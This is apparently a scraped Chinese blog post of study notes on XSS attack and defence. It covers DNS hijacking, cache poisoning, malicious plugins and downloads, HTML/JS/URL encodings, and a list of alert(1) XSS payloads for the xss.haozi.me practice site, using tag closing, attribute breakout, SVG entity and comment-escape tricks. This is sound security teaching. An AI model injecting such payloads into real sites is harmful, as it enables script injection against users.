xss攻防

Posted sec875

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了xss攻防相关的知识,希望对你有一定的参考价值。

参考资料:https://www.bilibili.com/video/BV1R4411u7Rk?t=442

dns解析被劫持

本地hosts文件被篡改,劫持到恶意网站;DNS解析服务器被篡改,解析到恶意网站。

引用第三方库的js等代码资源

第三方库的资源被攻击了,包含到自己网站中使用则也不安全

缓存问题,缓存投毒

访问网站时会加载很多资源到本地以便于再访问该网站时直接从本地读取资源来加载网页。如果被攻击者收集到你喜欢访问的网站以后,他们会先准备一个钓鱼网站引诱你访问,提前把你喜欢访问的比如百度,知乎,动漫网,电影网等篡改好的缓存资源提前加载到你的本地中。当你再访问喜欢的网站后,就会去直接读取本地的缓存资源。这些缓存资源都被攻击者动过手脚。

  • 不要访问恶意网站,不要连接陌生WIFI

文件问题

由于开发,学习或者其他需求,有人会在网上下载一些代码文件来使用,这些文件是否为官网提供的,官网是否被攻击;使用下载功能下载时,缓存里面的文件是否已被攻击、替换;引用了第三方负载均衡功能里面的资源,这些缓存文件是否早就被植入恶意代码。

浏览器的插件问题

在安装各种功能性的插件时,开发者有没有在插件里面植入恶意代码

web开发问题

开发代码时引入的漏洞,产生反射型和存储型xss

html编码

十进制:<    十六进制:<     别名:< >等
分号可有可无,实体字符的引号可有可无
不同进制可混用

js编码

八进制 141154145
十六进制 x61x6cx65
unicode u0061u006cu0065

url编码

* encodeURI / decodeURI
不转译 ASCII字母 数字 字符
* encodeURIComponent / decodeURIComponent
不转译 ASCII字母 数字 ~!*()‘
* escape / unescape   不推荐
不转译 字母、数字、@+—*/
对字符串进行编码,不适合url

Base64编码

技术图片

可以把图片转成base64编码放到css中一起去下载,可减少网络请求

xss的本质是代码与数据未分离

1.提前闭合标签
2.注释后续代码

  • 攻击者想办法把输入的数据变成了代码。

技术图片

Payload

技术图片
1.autofocus是光标聚焦时执行
2.onerror是加载图片错误时执行
3.页面装载时执行
4.js脚本
5.点击时执行

  • 练习环境https://xss.haozi.me
    主要是看输入的数据放到哪里去了
<div> <script>alert(1)</script> </div>
<textarea>   </textarea><script>alert(1)</script> </textarea>

"><script>alert(1)</script>
<input type="name" value="">
<input type="name" value=""><script>alert(1)</script>">

<script>alert`1`</script>

<svg><script>alert&#40;1&#41;</script></svg>    矢量图标签里面的html实体代码会被执行

--!><script>alert(1)</script>
<!--  -->
<!-- --!><script>alert(1)</script> -->


以上是关于xss攻防的主要内容,如果未能解决你的问题,请参考以下文章

xss攻防

xss攻防演练平台(2018最新xss教程)

DVWA 黑客攻防实战反射型 XSS 攻击 Reflected Cross Site Scripting

谈谈XSS攻防

Cross-Site Scripting (XSS) Attack Lab (Web Application: Elgg)——山东大学网络攻防实验

前端黑客攻防之XSS攻击